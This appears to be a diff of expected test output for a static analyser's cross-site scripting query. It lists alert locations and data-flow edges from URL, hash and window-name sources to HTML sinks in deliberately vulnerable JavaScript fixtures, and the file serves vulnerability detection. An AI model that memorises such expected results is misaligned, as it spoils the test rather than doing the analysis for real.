+| tst.js:425:34:425:39 | source | tst.js:419:15:419:38 | documen ... .search | tst.js:425:34:425:39 | source | Cross-site scripting vulnerability due to $@. | tst.js:419:15:419:38 | documen ... .search | user-provided value |
+| tst.js:426:41:426:46 | source | tst.js:419:15:419:38 | documen ... .search | tst.js:426:41:426:46 | source | Cross-site scripting vulnerability due to $@. | tst.js:419:15:419:38 | documen ... .search | user-provided value |
+| tst.js:427:44:427:49 | source | tst.js:419:15:419:38 | documen ... .search | tst.js:427:44:427:49 | source | Cross-site scripting vulnerability due to $@. | tst.js:419:15:419:38 | documen ... .search | user-provided value |
+| tst.js:428:32:428:37 | source | tst.js:419:15:419:38 | documen ... .search | tst.js:428:32:428:37 | source | Cross-site scripting vulnerability due to $@. | tst.js:419:15:419:38 | documen ... .search | user-provided value |
+| tst.js:438:18:438:23 | source | tst.js:436:16:436:39 | documen ... .search | tst.js:438:18:438:23 | source | Cross-site scripting vulnerability due to $@. | tst.js:436:16:436:39 | documen ... .search | user-provided value |
+| tst.js:439:18:439:42 | ansiToH ... source) | tst.js:436:16:436:39 | documen ... .search | tst.js:439:18:439:42 | ansiToH ... source) | Cross-site scripting vulnerability due to $@. | tst.js:436:16:436:39 | documen ... .search | user-provided value |
+| tst.js:446:21:446:26 | source | tst.js:443:15:443:38 | documen ... .search | tst.js:446:21:446:26 | source | Cross-site scripting vulnerability due to $@. | tst.js:443:15:443:38 | documen ... .search | user-provided value |
+| tst.js:448:19:448:24 | source | tst.js:443:15:443:38 | documen ... .search | tst.js:448:19:448:24 | source | Cross-site scripting vulnerability due to $@. | tst.js:443:15:443:38 | documen ... .search | user-provided value |
+| tst.js:450:20:450:25 | source | tst.js:443:15:443:38 | documen ... .search | tst.js:450:20:450:25 | source | Cross-site scripting vulnerability due to $@. | tst.js:443:15:443:38 | documen ... .search | user-provided value |
+| tst.js:456:19:456:21 | url | tst.js:454:13:454:36 | documen ... .search | tst.js:456:19:456:21 | url | Cross-site scripting vulnerability due to $@. | tst.js:454:13:454:36 | documen ... .search | user-provided value |
+| tst.js:457:26:457:28 | url | tst.js:454:13:454:36 | documen ... .search | tst.js:457:26:457:28 | url | Cross-site scripting vulnerability due to $@. | tst.js:454:13:454:36 | documen ... .search | user-provided value |
+| tst.js:458:25:458:27 | url | tst.js:454:13:454:36 | documen ... .search | tst.js:458:25:458:27 | url | Cross-site scripting vulnerability due to $@. | tst.js:454:13:454:36 | documen ... .search | user-provided value |
+| tst.js:459:20:459:22 | url | tst.js:454:13:454:36 | documen ... .search | tst.js:459:20:459:22 | url | Cross-site scripting vulnerability due to $@. | tst.js:454:13:454:36 | documen ... .search | user-provided value |
+| tst.js:469:22:469:24 | url | tst.js:454:13:454:36 | documen ... .search | tst.js:469:22:469:24 | url | Cross-site scripting vulnerability due to $@. | tst.js:454:13:454:36 | documen ... .search | user-provided value |
+| tst.js:474:23:474:45 | locatio ... bstr(1) | tst.js:474:23:474:35 | location.hash | tst.js:474:23:474:45 | locatio ... bstr(1) | Cross-site scripting vulnerability due to $@. | tst.js:474:23:474:35 | location.hash | user-provided value |
+| tst.js:477:18:477:40 | locatio ... bstr(1) | tst.js:477:18:477:30 | location.hash | tst.js:477:18:477:40 | locatio ... bstr(1) | Cross-site scripting vulnerability due to $@. | tst.js:477:18:477:30 | location.hash | user-provided value |
+| tst.js:484:33:484:63 | decodeU ... n.hash) | tst.js:484:43:484:62 | window.location.hash | tst.js:484:33:484:63 | decodeU ... n.hash) | Cross-site scripting vulnerability due to $@. | tst.js:484:43:484:62 | window.location.hash | user-provided value |
+| tst.js:492:18:492:54 | target. ... "), '') | tst.js:491:16:491:39 | documen ... .search | tst.js:492:18:492:54 | target. ... "), '') | Cross-site scripting vulnerability due to $@. | tst.js:491:16:491:39 | documen ... .search | user-provided value |
+| tst.js:499:18:499:33 | unescape(source) | tst.js:498:16:498:26 | window.name | tst.js:499:18:499:33 | unescape(source) | Cross-site scripting vulnerability due to $@. | tst.js:498:16:498:26 | window.name | user-provided value |
+| typeahead.js:25:18:25:20 | val | typeahead.js:20:22:20:45 | documen ... .search | typeahead.js:25:18:25:20 | val | Cross-site scripting vulnerability due to $@. | typeahead.js:20:22:20:45 | documen ... .search | user-provided value |
+| v-html.vue:2:8:2:23 | v-html=tainted | v-html.vue:6:42:6:58 | document.location | v-html.vue:2:8:2:23 | v-html=tainted | Cross-site scripting vulnerability due to $@. | v-html.vue:6:42:6:58 | document.location | user-provided value |
+| various-concat-obfuscations.js:4:4:4:31 | "<div>" ... </div>" | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:4:4:4:31 | "<div>" ... </div>" | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:5:4:5:26 | `<div>$ ... </div>` | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:5:4:5:26 | `<div>$ ... </div>` | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:6:4:6:43 | "<div>" ... /div>") | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:6:4:6:43 | "<div>" ... /div>") | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:7:4:7:38 | ["<div> ... .join() | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:7:4:7:38 | ["<div> ... .join() | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:9:4:9:34 | "<div i ...  "\\"/>" | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:9:4:9:34 | "<div i ...  "\\"/>" | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:10:4:10:27 | `<div i ... ed}"/>` | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:10:4:10:27 | `<div i ... ed}"/>` | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:11:4:11:44 | "<div i ... t("/>") | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:11:4:11:44 | "<div i ... t("/>") | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:12:4:12:41 | ["<div  ... .join() | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | various-concat-obfuscations.js:12:4:12:41 | ["<div  ... .join() | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:2:16:2:39 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:20:4:20:47 | indirec ... .attrs) | various-concat-obfuscations.js:20:17:20:40 | documen ... .search | various-concat-obfuscations.js:20:4:20:47 | indirec ... .attrs) | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:20:17:20:40 | documen ... .search | user-provided value |
+| various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) | various-concat-obfuscations.js:21:17:21:40 | documen ... .search | various-concat-obfuscations.js:21:4:21:47 | indirec ... .attrs) | Cross-site scripting vulnerability due to $@. | various-concat-obfuscations.js:21:17:21:40 | documen ... .search | user-provided value |
+| winjs.js:3:43:3:49 | tainted | winjs.js:2:17:2:40 | documen ... .search | winjs.js:3:43:3:49 | tainted | Cross-site scripting vulnerability due to $@. | winjs.js:2:17:2:40 | documen ... .search | user-provided value |
+| winjs.js:4:43:4:49 | tainted | winjs.js:2:17:2:40 | documen ... .search | winjs.js:4:43:4:49 | tainted | Cross-site scripting vulnerability due to $@. | winjs.js:2:17:2:40 | documen ... .search | user-provided value |
 edges
 | addEventListener.js:1:43:1:47 | event | addEventListener.js:2:20:2:24 | event | provenance |  |
 | addEventListener.js:2:20:2:24 | event | addEventListener.js:2:20:2:29 | event.data | provenance |  |
@@ -811,8 +397,8 @@ edges
 | jwt-server.js:7:9:7:35 | taint | jwt-server.js:9:16:9:20 | taint | provenance |  |
 | jwt-server.js:7:17:7:35 | req.param("wobble") | jwt-server.js:7:9:7:35 | taint | provenance |  |
 | jwt-server.js:9:16:9:20 | taint | jwt-server.js:9:55:9:61 | decoded | provenance |  |
-| jwt-server.js:9:55:9:61 | decoded | jwt-server.js:11:19:11:25 | decoded | provenance |  |
-| jwt-server.js:11:19:11:25 | decoded | jwt-server.js:11:19:11:29 | decoded.foo | provenance |  |
+| jwt-server.js:9:55:9:61 | decoded | jwt-server.js:10:19:10:25 | decoded | provenance |  |
+| jwt-server.js:10:19:10:25 | decoded | jwt-server.js:10:19:10:29 | decoded.foo | provenance |  |
 | nodemailer.js:13:50:13:66 | req.query.message | nodemailer.js:13:11:13:69 | `Hi, yo ... sage}.` | provenance |  |
 | optionalSanitizer.js:2:7:2:39 | target | optionalSanitizer.js:6:18:6:23 | target | provenance |  |
 | optionalSanitizer.js:2:7:2:39 | target | optionalSanitizer.js:8:17:8:22 | target | provenance |  |
@@ -855,12 +441,12 @@ edges
 | pages/[id].jsx:5:18:5:29 | router.query | pages/[id].jsx:5:9:5:14 | { id } | provenance |  |
 | pages/[id].jsx:13:44:13:49 | params [id] | pages/[id].jsx:13:44:13:52 | params.id | provenance |  |
 | pages/[id].jsx:16:44:16:49 | params [q] | pages/[id].jsx:16:44:16:51 | params.q | provenance |  |
-| pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [id] | pages/[id].jsx:3:30:3:35 | params [id] | provenance |  |
-| pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [q] | pages/[id].jsx:3:30:3:35 | params [q] | provenance |  |
+| pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [id] | pages/[id].jsx:3:30:3:35 | params [id] | provenance |  |
+| pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [q] | pages/[id].jsx:3:30:3:35 | params [q] | provenance |  |
 | pages/[id].jsx:25:11:25:24 | context.params | pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | provenance |  |
-| pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [id] | provenance |  |
+| pages/[id].jsx:25:11:25:33 | context ... d \|\| "" | pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [id] | provenance |  |
 | pages/[id].jsx:26:10:26:22 | context.query | pages/[id].jsx:26:10:26:36 | context ... r \|\| "" | provenance |  |
-| pages/[id].jsx:26:10:26:36 | context ... r \|\| "" | pages/[id].jsx:24:12:27:5 | {\\n      ... ,\\n    } [q] | provenance |  |
+| pages/[id].jsx:26:10:26:36 | context ... r \|\| "" | pages/[id].jsx:24:12:27:5 | {\\n      ... e\\n    } [q] | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:8:18:8:24 | tainted | provenance |  |
 | react-native.js:7:7:7:33 | tainted | react-native.js:9:27:9:33 | tainted | provenance |  |
 | react-native.js:7:17:7:33 | req.param("code") | react-native.js:7:7:7:33 | tainted | provenance |  |
@@ -919,8 +505,8 @@ edges
 | tooltip.jsx:22:20:22:30 | window.name | tooltip.jsx:22:11:22:30 | source | provenance |  |
 | translate.js:6:7:6:39 | target | translate.js:7:42:7:47 | target | provenance |  |
 | translate.js:6:16:6:39 | documen ... .search | translate.js:6:7:6:39 | target | provenance |  |
-| translate.js:7:7:7:61 | searchParams | translate.js:9:27:9:38 | searchParams | provenance |  |
-| translate.js:7:7:7:61 | searchParams [MapValue] | translate.js:9:27:9:38 | searchParams [MapValue] | provenance |  |
+| translate.js:7:7:7:61 | searchParams | translate.js:8:27:8:38 | searchParams | provenance |  |
+| translate.js:7:7:7:61 | searchParams [MapValue] | translate.js:8:27:8:38 | searchParams [MapValue] | provenance |  |
 | translate.js:7:22:7:61 | new URL ... ing(1)) | translate.js:7:7:7:61 | searchParams | provenance |  |
 | translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | translate.js:7:7:7:61 | searchParams [MapValue] | provenance |  |
 | translate.js:7:42:7:47 | target | translate.js:7:42:7:60 | target.substring(1) | provenance |  |
@@ -930,8 +516,8 @@ edges
 | translate.js:7:42:7:60 | target.substring(1) | translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | provenance |  |
 | translate.js:7:42:7:60 | target.substring(1) | translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | provenance |  |
 | translate.js:7:42:7:60 | target.substring(1) | translate.js:7:22:7:61 | new URL ... ing(1)) [MapValue] | provenance |  |
-| translate.js:9:27:9:38 | searchParams | translate.js:9:27:9:50 | searchP ... 'term') | provenance | Config |
-| translate.js:9:27:9:38 | searchParams [MapValue] | translate.js:9:27:9:50 | searchP ... 'term') | provenance |  |
+| translate.js:8:27:8:38 | searchParams | translate.js:8:27:8:50 | searchP ... 'term') | provenance | Config |
+| translate.js:8:27:8:38 | searchParams [MapValue] | translate.js:8:27:8:50 | searchP ... 'term') | provenance |  |
 | trusted-types-lib.js:1:28:1:28 | x | trusted-types-lib.js:2:12:2:12 | x | provenance |  |
 | trusted-types.js:3:62:3:62 | x | trusted-types.js:3:67:3:67 | x | provenance |  |
 | trusted-types.js:4:20:4:30 | window.name | trusted-types.js:3:62:3:62 | x | provenance |  |
@@ -949,221 +535,225 @@ edges
 | tst3.js:7:32:7:35 | data | tst3.js:7:32:7:37 | data.p | provenance |  |
 | tst3.js:9:37:9:40 | data | tst3.js:9:37:9:42 | data.p | provenance |  |
 | tst3.js:10:38:10:41 | data | tst3.js:10:38:10:43 | data.p | provenance |  |
-| tst.js:2:7:2:39 | target | tst.js:5:18:5:23 | target | provenance |  |
-| tst.js:2:7:2:39 | target | tst.js:12:28:12:33 | target | provenance |  |
-| tst.js:2:7:2:39 | target | tst.js:20:42:20:47 | target | provenance |  |
+| tst.js:2:7:2:39 | target | tst.js:4:18:4:23 | target | provenance |  |
+| tst.js:2:7:2:39 | target | tst.js:9:28:9:33 | target | provenance |  |
+| tst.js:2:7:2:39 | target | tst.js:17:42:17:47 | target | provenance |  |
 | tst.js:2:16:2:39 | documen ... .search | tst.js:2:7:2:39 | target | provenance |  |
-| tst.js:8:37:8:58 | documen ... on.href | tst.js:8:37:8:114 | documen ... t=")+8) | provenance |  |
-| tst.js:8:37:8:58 | documen ... on.href | tst.js:8:37:8:114 | documen ... t=")+8) | provenance | Config |
-| tst.js:8:37:8:114 | documen ... t=")+8) | tst.js:8:18:8:126 | "<OPTIO ... PTION>" | provenance |  |
-| tst.js:8:37:8:114 | documen ... t=")+8) | tst.js:8:18:8:126 | "<OPTIO ... PTION>" | provenance |  |
-| tst.js:8:37:8:114 | documen ... t=")+8) | tst.js:8:18:8:126 | "<OPTIO ... PTION>" | provenance | Config |
-| tst.js:12:28:12:33 | target | tst.js:12:5:12:42 | '<div s ...  'px">' | provenance | Config |
-| tst.js:17:7:17:56 | params | tst.js:18:18:18:23 | params | provenance |  |
-| tst.js:17:7:17:56 | params [MapValue] | tst.js:18:18:18:23 | params [MapValue] | provenance |  |
-| tst.js:17:16:17:43 | (new UR ... ation)) [searchParams, MapValue] | tst.js:17:16:17:56 | (new UR ... hParams [MapValue] | provenance |  |
-| tst.js:17:16:17:43 | (new UR ... ation)) [searchParams] | tst.js:17:16:17:56 | (new UR ... hParams | provenance |  |
-| tst.js:17:16:17:56 | (new UR ... hParams | tst.js:17:7:17:56 | params | provenance |  |
-| tst.js:17:16:17:56 | (new UR ... hParams [MapValue] | tst.js:17:7:17:56 | params [MapValue] | provenance |  |
-| tst.js:17:17:17:42 | new URL ... cation) [searchParams, MapValue] | tst.js:17:16:17:43 | (new UR ... ation)) [searchParams, MapValue] | provenance |  |
-| tst.js:17:17:17:42 | new URL ... cation) [searchParams] | tst.js:17:16:17:43 | (new UR ... ation)) [searchParams] | provenance |  |
-| tst.js:17:25:17:41 | document.location | tst.js:17:17:17:42 | new URL ... cation) [searchParams, MapValue] | provenance |  |
-| tst.js:17:25:17:41 | document.location | tst.js:17:17:17:42 | new URL ... cation) [searchParams] | provenance |  |
-| tst.js:18:18:18:23 | params | tst.js:18:18:18:35 | params.get('name') | provenance | Config |
-| tst.js:18:18:18:23 | params [MapValue] | tst.js:18:18:18:35 | params.get('name') | provenance |  |
-| tst.js:20:7:20:61 | searchParams | tst.js:21:18:21:29 | searchParams | provenance |  |
-| tst.js:20:7:20:61 | searchParams [MapValue] | tst.js:21:18:21:29 | searchParams [MapValue] | provenance |  |
-| tst.js:20:22:20:61 | new URL ... ing(1)) | tst.js:20:7:20:61 | searchParams | provenance |  |
-| tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | tst.js:20:7:20:61 | searchParams [MapValue] | provenance |  |
-| tst.js:20:42:20:47 | target | tst.js:20:42:20:60 | target.substring(1) | provenance |  |
-| tst.js:20:42:20:47 | target | tst.js:20:42:20:60 | target.substring(1) | provenance | Config |
-| tst.js:20:42:20:47 | target | tst.js:20:42:20:60 | target.substring(1) | provenance | Config |
-| tst.js:20:42:20:60 | target.substring(1) | tst.js:20:22:20:61 | new URL ... ing(1)) | provenance |  |
-| tst.js:20:42:20:60 | target.substring(1) | tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | provenance |  |
-| tst.js:20:42:20:60 | target.substring(1) | tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | provenance |  |
-| tst.js:20:42:20:60 | target.substring(1) | tst.js:20:22:20:61 | new URL ... ing(1)) [MapValue] | provenance |  |
-| tst.js:21:18:21:29 | searchParams | tst.js:21:18:21:41 | searchP ... 'name') | provenance | Config |
-| tst.js:21:18:21:29 | searchParams [MapValue] | tst.js:21:18:21:41 | searchP ... 'name') | provenance |  |
-| tst.js:24:14:24:19 | target | tst.js:26:18:26:23 | target | provenance |  |
-| tst.js:28:5:28:28 | documen ... .search | tst.js:24:14:24:19 | target | provenance |  |
-| tst.js:31:10:31:33 | documen ... .search | tst.js:34:16:34:20 | bar() | provenance |  |
-| tst.js:31:10:31:33 | documen ... .search | tst.js:58:26:58:30 | bar() | provenance |  |
-| tst.js:31:10:31:33 | documen ... .search | tst.js:68:16:68:20 | bar() | provenance |  |
-| tst.js:36:14:36:14 | x | tst.js:37:10:37:10 | x | provenance |  |
-| tst.js:40:20:40:43 | documen ... .search | tst.js:36:14:36:14 | x | provenance |  |
-| tst.js:40:20:40:43 | documen ... .search | tst.js:40:16:40:44 | baz(doc ... search) | provenance |  |
-| tst.js:42:15:42:15 | s | tst.js:43:20:43:20 | s | provenance |  |
-| tst.js:42:15:42:15 | s | tst.js:43:20:43:20 | s | provenance |  |
-| tst.js:43:20:43:20 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | provenance |  |
-| tst.js:43:20:43:20 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | provenance |  |
-| tst.js:43:20:43:20 | s | tst.js:43:10:43:31 | "<div>" ... </div>" | provenance | Config |
-| tst.js:46:21:46:44 | documen ... .search | tst.js:42:15:42:15 | s | provenance |  |
-| tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | wrap(do ... search) | provenance |  |
-| tst.js:46:21:46:44 | documen ... .search | tst.js:46:16:46:45 | wrap(do ... search) | provenance | Config |
-| tst.js:48:15:48:15 | s | tst.js:50:12:50:12 | s | provenance |  |
-| tst.js:50:12:50:12 | s | tst.js:50:12:50:22 | s.substr(1) | provenance |  |
-| tst.js:50:12:50:12 | s | tst.js:50:12:50:22 | s.substr(1) | provenance | Config |
-| tst.js:50:12:50:12 | s | tst.js:50:12:50:22 | s.substr(1) | provenance | Config |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:48:15:48:15 | s | provenance |  |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:54:16:54:45 | chop(do ... search) | provenance |  |
-| tst.js:54:21:54:44 | documen ... .search | tst.js:54:16:54:45 | chop(do ... search) | provenance | Config |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:48:15:48:15 | s | provenance |  |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:56:16:56:45 | chop(do ... search) | provenance |  |
-| tst.js:56:21:56:44 | documen ... .search | tst.js:56:16:56:45 | chop(do ... search) | provenance | Config |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:42:15:42:15 | s | provenance |  |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:42:15:42:15 | s | provenance |  |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:58:16:58:32 | wrap(chop(bar())) | provenance |  |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:58:16:58:32 | wrap(chop(bar())) | provenance |  |
-| tst.js:58:21:58:31 | chop(bar()) | tst.js:58:16:58:32 | wrap(chop(bar())) | provenance | Config |
-| tst.js:58:26:58:30 | bar() | tst.js:48:15:48:15 | s | provenance |  |
-| tst.js:58:26:58:30 | bar() | tst.js:58:21:58:31 | chop(bar()) | provenance |  |
-| tst.js:58:26:58:30 | bar() | tst.js:58:21:58:31 | chop(bar()) | provenance | Config |
-| tst.js:60:34:60:34 | s | tst.js:62:18:62:18 | s | provenance |  |
-| tst.js:64:25:64:48 | documen ... .search | tst.js:60:34:60:34 | s | provenance |  |
-| tst.js:65:25:65:48 | documen ... .search | tst.js:60:34:60:34 | s | provenance |  |
-| tst.js:70:1:70:27 | [,docum ... search] [1] | tst.js:70:46:70:46 | x | provenance |  |
-| tst.js:70:3:70:26 | documen ... .search | tst.js:70:1:70:27 | [,docum ... search] [1] | provenance |  |
-| tst.js:70:46:70:46 | x | tst.js:73:20:73:20 | x | provenance |  |
-| tst.js:107:7:107:44 | v | tst.js:110:18:110:18 | v | provenance |  |
-| tst.js:107:7:107:44 | v | tst.js:136:18:136:18 | v | provenance |  |
-| tst.js:107:11:107:34 | documen ... .search | tst.js:107:11:107:44 | documen ... bstr(1) | provenance |  |
-| tst.js:107:11:107:34 | documen ... .search | tst.js:107:11:107:44 | documen ... bstr(1) | provenance | Config |
-| tst.js:107:11:107:44 | documen ... bstr(1) | tst.js:107:7:107:44 | v | provenance |  |
-| tst.js:148:29:148:50 | window. ... .search | tst.js:151:29:151:29 | v | provenance |  |
-| tst.js:151:29:151:29 | v | tst.js:151:49:151:49 | v | provenance |  |
-| tst.js:158:40:158:61 | window. ... .search | tst.js:155:29:155:46 | xssSourceService() | provenance |  |
-| tst.js:177:9:177:41 | target | tst.js:180:28:180:33 | target | provenance |  |
-| tst.js:177:18:177:41 | documen ... .search | tst.js:177:9:177:41 | target | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:186:31:186:37 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:188:42:188:48 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:189:33:189:39 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:191:54:191:60 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:192:45:192:51 | tainted | provenance |  |
-| tst.js:184:9:184:42 | tainted | tst.js:193:49:193:55 | tainted | provenance |  |
-| tst.js:184:19:184:42 | documen ... .search | tst.js:184:9:184:42 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:199:67:199:73 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:200:67:200:73 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:236:35:236:41 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:238:20:238:26 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:240:23:240:29 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:241:23:241:29 | tainted | provenance |  |
-| tst.js:197:9:197:42 | tainted | tst.js:255:23:255:29 | tainted | provenance |  |
-| tst.js:197:19:197:42 | documen ... .search | tst.js:197:9:197:42 | tainted | provenance |  |
-| tst.js:199:67:199:73 | tainted | tst.js:200:67:200:73 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:204:35:204:41 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:206:46:206:52 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:207:38:207:44 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:208:35:208:41 | tainted | provenance |  |
-| tst.js:200:67:200:73 | tainted | tst.js:236:35:236:41 | tainted | provenance |  |
-| tst.js:204:35:204:41 | tainted | tst.js:212:28:212:46 | this.state.tainted1 | provenance |  |
-| tst.js:206:46:206:52 | tainted | tst.js:213:28:213:46 | this.state.tainted2 | provenance |  |
-| tst.js:207:38:207:44 | tainted | tst.js:214:28:214:46 | this.state.tainted3 | provenance |  |
-| tst.js:208:35:208:41 | tainted | tst.js:218:32:218:49 | prevState.tainted4 | provenance |  |
-| tst.js:236:35:236:41 | tainted | tst.js:225:28:225:46 | this.props.tainted1 | provenance |  |
-| tst.js:236:35:236:41 | tainted | tst.js:238:20:238:26 | tainted | provenance |  |
-| tst.js:238:20:238:26 | tainted | tst.js:226:28:226:46 | this.props.tainted2 | provenance |  |
-| tst.js:238:20:238:26 | tainted | tst.js:240:23:240:29 | tainted | provenance |  |
-| tst.js:240:23:240:29 | tainted | tst.js:227:28:227:46 | this.props.tainted3 | provenance |  |
-| tst.js:240:23:240:29 | tainted | tst.js:241:23:241:29 | tainted | provenance |  |
-| tst.js:241:23:241:29 | tainted | tst.js:231:32:231:49 | prevProps.tainted4 | provenance |  |
-| tst.js:241:23:241:29 | tainted | tst.js:255:23:255:29 | tainted | provenance |  |
-| tst.js:247:39:247:55 | props.propTainted | tst.js:251:60:251:82 | this.st ... Tainted | provenance |  |
-| tst.js:255:23:255:29 | tainted | tst.js:247:39:247:55 | props.propTainted | provenance |  |
-| tst.js:285:9:285:29 | tainted | tst.js:288:59:288:65 | tainted | provenance |  |
-| tst.js:285:19:285:29 | window.name | tst.js:285:9:285:29 | tainted | provenance |  |
-| tst.js:301:9:301:16 | location | tst.js:302:10:302:10 | e | provenance |  |
-| tst.js:302:10:302:10 | e | tst.js:303:20:303:20 | e | provenance |  |
-| tst.js:308:10:308:17 | location | tst.js:310:10:310:10 | e | provenance |  |
-| tst.js:310:10:310:10 | e | tst.js:311:20:311:20 | e | provenance |  |
-| tst.js:327:10:327:35 | new URL ... cation) [searchParams, MapValue] | tst.js:331:16:331:30 | getTaintedUrl() [searchParams, MapValue] | provenance |  |
-| tst.js:327:10:327:35 | new URL ... cation) [searchParams] | tst.js:331:16:331:30 | getTaintedUrl() [searchParams] | provenance |  |
-| tst.js:327:18:327:34 | document.location | tst.js:327:10:327:35 | new URL ... cation) [searchParams, MapValue] | provenance |  |
-| tst.js:327:18:327:34 | document.location | tst.js:327:10:327:35 | new URL ... cation) [searchParams] | provenance |  |
-| tst.js:331:7:331:43 | params | tst.js:332:18:332:23 | params | provenance |  |
-| tst.js:331:7:331:43 | params [MapValue] | tst.js:332:18:332:23 | params [MapValue] | provenance |  |
-| tst.js:331:16:331:30 | getTaintedUrl() [searchParams, MapValue] | tst.js:331:16:331:43 | getTain ... hParams [MapValue] | provenance |  |
-| tst.js:331:16:331:30 | getTaintedUrl() [searchParams] | tst.js:331:16:331:43 | getTain ... hParams | provenance |  |
-| tst.js:331:16:331:43 | getTain ... hParams | tst.js:331:7:331:43 | params | provenance |  |
-| tst.js:331:16:331:43 | getTain ... hParams [MapValue] | tst.js:331:7:331:43 | params [MapValue] | provenance |  |
-| tst.js:332:18:332:23 | params | tst.js:332:18:332:35 | params.get('name') | provenance | Config |
-| tst.js:332:18:332:23 | params [MapValue] | tst.js:332:18:332:35 | params.get('name') | provenance |  |
-| tst.js:341:12:341:37 | new URL ... cation) [hash] | tst.js:343:5:343:12 | getUrl() [hash] | provenance |  |
-| tst.js:341:20:341:36 | document.location | tst.js:341:12:341:37 | new URL ... cation) [hash] | provenance |  |
-| tst.js:343:5:343:12 | getUrl() [hash] | tst.js:343:5:343:17 | getUrl().hash | provenance |  |
-| tst.js:343:5:343:17 | getUrl().hash | tst.js:343:5:343:30 | getUrl( ... ring(1) | provenance | Config |
-| tst.js:348:7:348:39 | target | tst.js:349:12:349:17 | target | provenance |  |
-| tst.js:348:16:348:39 | documen ... .search | tst.js:348:7:348:39 | target | provenance |  |
-| tst.js:355:10:355:42 | target | tst.js:356:16:356:21 | target | provenance |  |
-| tst.js:355:10:355:42 | target | tst.js:357:20:357:25 | target | provenance |  |
-| tst.js:355:19:355:42 | documen ... .search | tst.js:355:10:355:42 | target | provenance |  |
-| tst.js:356:16:356:21 | target | tst.js:357:20:357:25 | target | provenance |  |
-| tst.js:357:20:357:25 | target | tst.js:360:21:360:26 | target | provenance |  |
-| tst.js:357:20:357:25 | target | tst.js:363:18:363:23 | target | provenance |  |
-| tst.js:371:7:371:39 | target | tst.js:374:18:374:23 | target | provenance |  |
-| tst.js:371:16:371:39 | documen ... .search | tst.js:371:7:371:39 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:384:18:384:23 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:386:18:386:23 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:397:18:397:23 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:406:18:406:23 | target | provenance |  |
-| tst.js:381:7:381:39 | target | tst.js:408:19:408:24 | target | provenance |  |
-| tst.js:381:16:381:39 | documen ... .search | tst.js:381:7:381:39 | target | provenance |  |
